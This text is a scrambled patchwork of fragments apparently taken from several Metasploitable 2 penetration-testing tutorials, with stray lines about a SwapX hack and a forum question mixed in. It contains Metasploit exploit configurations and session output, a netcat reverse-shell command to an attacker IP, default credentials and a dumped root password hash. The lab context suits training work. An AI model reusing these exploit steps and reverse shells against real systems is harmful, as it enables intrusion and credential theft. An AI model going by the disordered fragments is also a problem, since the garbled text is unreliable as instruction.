-- ---- RPORT 6667 yes The target port To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file: On port 21, Metasploitable2 runs vsftpd, a popular FTP server. Module options (auxiliary/scanner/postgres/postgres_login): -- ---- Vulnerable Products: Microsoft Office 2007 SP3/2010 SP2/2013 SP1/2016, Vista SP2, Server 2008 SP2, Windows 7 SP1, Windows 8.1. This setup included an attacker using Kali Linux and a target using the Linux-based Metasploitable. [*] Reading from sockets Need to report an Escalation or a Breach? PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) Distributed Ruby or DRb makes it possible for Ruby programs to communicate on the same device or over a network with each other. URI => druby://192.168.127.154:8787 VERBOSE true yes Whether to print output for all attempts This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. So all we have to do is use the remote shell program to log in: Last login: Wed May 7 11:00:37 EDT 2021 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686. [*] Reading from sockets This set of articles discusses the RED TEAM's tools and routes of attack. Module options (exploit/linux/postgres/postgres_payload): Starting Nmap 6.46 (, msf > search vsftpd payload => java/meterpreter/reverse_tcp msf exploit(java_rmi_server) > show options The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. root, msf > use auxiliary/admin/http/tomcat_administration payload => cmd/unix/interact msf auxiliary(tomcat_administration) > run [*] A is input Proxies no Use a proxy chain Metasploit Discover target information, find vulnerabilities, attack and validate weaknesses, and collect evidence. Exploit target: Lets go ahead. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. First of all, open the Metasploit console in Kali. However this host has old versions of services, weak passwords and encryptions. This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. RHOST 192.168.127.154 yes The target address Exploit target: This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. In Metasploit, an exploit is available for the vsftpd version. DVWA contains instructions on the home page and additional information is available at Wiki Pages - Damn Vulnerable Web App. [*] Reading from sockets Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). We againhave to elevate our privileges from here. [*] Accepted the second client connection [*] B: "ZeiYbclsufvu4LGM\r\n" Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). For hints & tips on exploiting the vulnerabilities there are also View Source and View Help buttons. msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.127.154 msf exploit(twiki_history) > set payload cmd/unix/reverse Exploit target: In this example, Metasploitable 2 is running at IP 192.168.56.101. [*] Started reverse handler on 192.168.127.159:4444 Open in app. RHOST 192.168.127.154 yes The target address LHOST yes The listen address Tutorials on using Mutillidae are available at the webpwnized YouTube Channel. Yet weve got the basics covered. At a minimum, the following weak system accounts are configured on the system. [*] Executing /RuoE02Uo7DeSsaVp7nmb79cq/19CS3RJj.jsp msf exploit(vsftpd_234_backdoor) > show options Once we get a clear vision on the open ports, we can start enumerating them to see and find the running services alongside their version. VHOST no HTTP server virtual host For further details beyond what is covered within this article, please check out the Metasploitable 2 Exploitability Guide. For your test environment, you need a Metasploit instance that can access a vulnerable target. Step 4: Display Database Version. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. Lets see if we can really connect without a password to the database as root. [*] Command shell session 1 opened (192.168.127.159:57936 -> 192.168.127.154:6200) at 2021-02-06 22:42:36 +0300 Name Current Setting Required Description The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat The VNC service provides remote desktop access using the password password. Now we narrow our focus and use Metasploit to exploit the ssh vulnerabilities. The primary administrative user msfadmin has a password matching the username. RPORT 8180 yes The target port Name Current Setting Required Description I employ the following penetration testing phases: reconnaisance, threat modelling and vulnerability identification, and exploitation. Step 3: Set the memory size to 512 MB, which is adequate for Metasploitable2. The SwapX project on BNB Chain suffered a hacking attack on February 27, 2023. [*] Matching To access official Ubuntu documentation, please visit: Lets proceed with our exploitation. We dont really want to deprive you of practicing new skills. Be sure your Kali VM is in "Host-only Network" before starting the scan, so you can communicate with your target Metasploitable VM. Name Current Setting Required Description tomcat55, msf > use exploit/linux/misc/drb_remote_codeexec Lets begin by pulling up the Mutillidae homepage: Notice that the Security Level is set to 0, Hints is also set to 0, and that the user is not Logged In. So we got a low-privilege account. ---- --------------- ---- ----------- Exploit target: ---- --------------- -------- ----------- We can read the passwords now and all the rest: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. Type \c to clear the current input statement. What Is Metasploit? Execute Metasploit framework by typing msfconsole on the Kali prompt: Search all . -- ---- msf exploit(tomcat_mgr_deploy) > set LHOST 192.168.127.159 RHOST yes The target address echo 'nc -e /bin/bash 192.168.127.159 5555' >> /tmp/run, nc: connect to 192.168.127.159 5555 from 192.168.127.154 (192.168.127.154) 35539 [35539] ---- --------------- -------- ----------- It is also instrumental in Intrusion Detection System signature development. PASSWORD no The Password for the specified username ---- --------------- -------- ----------- now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. Name Current Setting Required Description -- ---- It allows hackers to set up listeners that create a conducive environment (referred to as a Meterpreter) to manipulate compromised machines. Heres a description and the CVE number: On Debian-based operating systems (OS), OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 uses the random number generator that produces predictable numbers, making it easier for remote attackers to perform brute force guessing attacks on cryptographic keys. Server version: 5.0.51a-3ubuntu5 (Ubuntu). The version range is somewhere between 3 and 4. Utilizing login / password combinations suggested by theUSER FILE, PASS FILE and USERPASS FILE options, this module tries to validate against a PostgreSQL instance. Find what else is out there and learn how it can be exploited. It is a pre-built virtual machine, and therefore it is simple to install. LHOST => 192.168.127.159 PASSWORD no The Password for the specified username. In Cisco Prime LAN Management Solution, this vulnerability is reported to exist but may be present on any host that is not configured appropriately. (Note: A video tutorial on installing Metasploitable 2 is available here.). msf auxiliary(smb_version) > show options whoami You will need the rpcbind and nfs-common Ubuntu packages to follow along. A reinstall of Metasploit was next attempted: Following the reinstall the exploit was run against with the same settings: This seemed to be a partial success a Command Shell session was generated and able to be invoked via the sessions 1 command. RMI method calls do not support or need any kind of authentication. 0 Linux x86 Metasploitable 2 is available at: THREADS 1 yes The number of concurrent threads The CVE List is built by CVE Numbering Authorities (CNAs). [+] Backdoor service has been spawned, handling msf exploit(java_rmi_server) > show options [*] Accepted the second client connection Highlighted in red underline is the version of Metasploit. Exploit target: ---- --------------- -------- ----------- VERBOSE false no Enable verbose output Pass the udevd netlink socket PID (listed in /proc/net/netlink, typically is the udevd PID minus 1) as argv[1]. [*] B: "VhuwDGXAoBmUMNcg\r\n" RHOST => 192.168.127.154 Relist the files & folders in time descending order showing the newly created file. Welcome to the MySQL monitor. This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. Login with the above credentials. First, whats Metasploit? [*] udev pid: 2770 The major purpose why use of such virtual machines is done could be for conducting security trainings, testing of security tools, or simply for practicing the commonly known techniques of penetration testing. df8cc200 15 2767 00000001 0 0 00000000 2, ps aux | grep udev RHOSTS => 192.168.127.154 Restart the web server via the following command. ---- --------------- -------- ----------- Name Current Setting Required Description SRVHOST 0.0.0.0 yes The local host to listen on. :14747:0:99999:7::: The Nessus scan that we ran against the target demonstrated the following: It is possible to access a remote database server without a password. ---- --------------- -------- ----------- [*] Writing to socket B [*] Accepted the first client connection The risk of the host failing or to become infected is intensely high. Differences between Metasploitable 3 and the older versions. RHOST => 192.168.127.154 Attackers can implement arbitrary commands by defining a username that includes shell metacharacters. msf exploit(usermap_script) > set payload cmd/unix/reverse payload => java/meterpreter/reverse_tcp msf exploit(usermap_script) > exploit Getting access to a system with a writeable filesystem like this is trivial. RPORT 80 yes The target port The-e flag is intended to indicate exports: Oh, how sweet! This is the action page. USERNAME postgres no A specific username to authenticate as Set Version: Ubuntu, and to continue, click the Next button. (Note: A video tutorial on installing Metasploitable 2 is available here.). Module options (exploit/multi/http/tomcat_mgr_deploy): msf exploit(usermap_script) > set LHOST 192.168.127.159 Id Name [*] Accepted the second client connection Access To access the vulnerable application, point your browser on Metasploitable3 to http://localhost:8282/struts2-rest-showcase To access the Apache Tomcat Manager, point your browser on Metasploitable3 to http://localhost:8282. To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user. . Id Name Luckily, the Metasploit team is aware of this and released a vulnerable VMware virtual machine called 'Metasploitable'. It could be used against both rmiregistry and rmid and many other (custom) RMI endpoints as it brings up a method in the RMI Distributed Garbage Collector that is available through any RMI endpoint. DATABASE template1 yes The database to authenticate against msf exploit(vsftpd_234_backdoor) > show options In this example, the URL would be http://192.168.56.101/phpinfo.php. Using default colormap which is TrueColor. BLANK_PASSWORDS false no Try blank passwords for all users Module options (exploit/linux/misc/drb_remote_codeexec): They are input on the add to your blog page. msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat By Ed Moyle, Drake Software Nowhere is the adage "seeing is believing" more true than in cybersecurity. For a more up-to-date version visit: This version will not install on Metasploitable due to out-of-date packages so best to load it onto a Linux VM such as Kali or Ubuntu. Totals: 2 Items. Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases. Exploiting Samba Vulnerability on Metasploit 2 The screenshot below shows the results of running an Nmap scan on Metasploitable 2. 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